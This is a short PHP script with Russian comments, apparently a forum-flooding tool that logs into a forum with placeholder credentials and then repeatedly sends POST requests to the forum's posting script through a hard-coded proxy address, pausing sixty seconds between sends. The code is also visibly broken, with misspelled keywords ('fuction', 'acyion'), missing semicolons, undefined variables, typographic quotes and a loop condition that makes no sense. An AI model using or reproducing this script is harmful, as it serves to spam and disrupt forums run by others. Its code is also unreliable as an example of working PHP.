<? set_time_limit(0) function flood($scrurl) {$path="POST $scrurl \\r\\n\\r\\n"; $fp=fsockopen("216.139.170.54",80);//Адрес прокси $i=1; while(!$i=2) {$i++ fwrite($fp,$path); sleep(60)//у-во секунд,до следующей отправки сообщений } fclose($fp); } $login="login";//Логин $pass="pass";//Пасс $auth="http://site.com/forum/index.php?acyion=login2";//адрес скрипта отвечающего за авторизацию $post = ‘login=’.$login.’&password=’.$password; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch) $scrurl="http://site.com/forum/index.php?action=post2";//скрипт отвечающий за отправку сообщений fuction flood($scrurl) ?>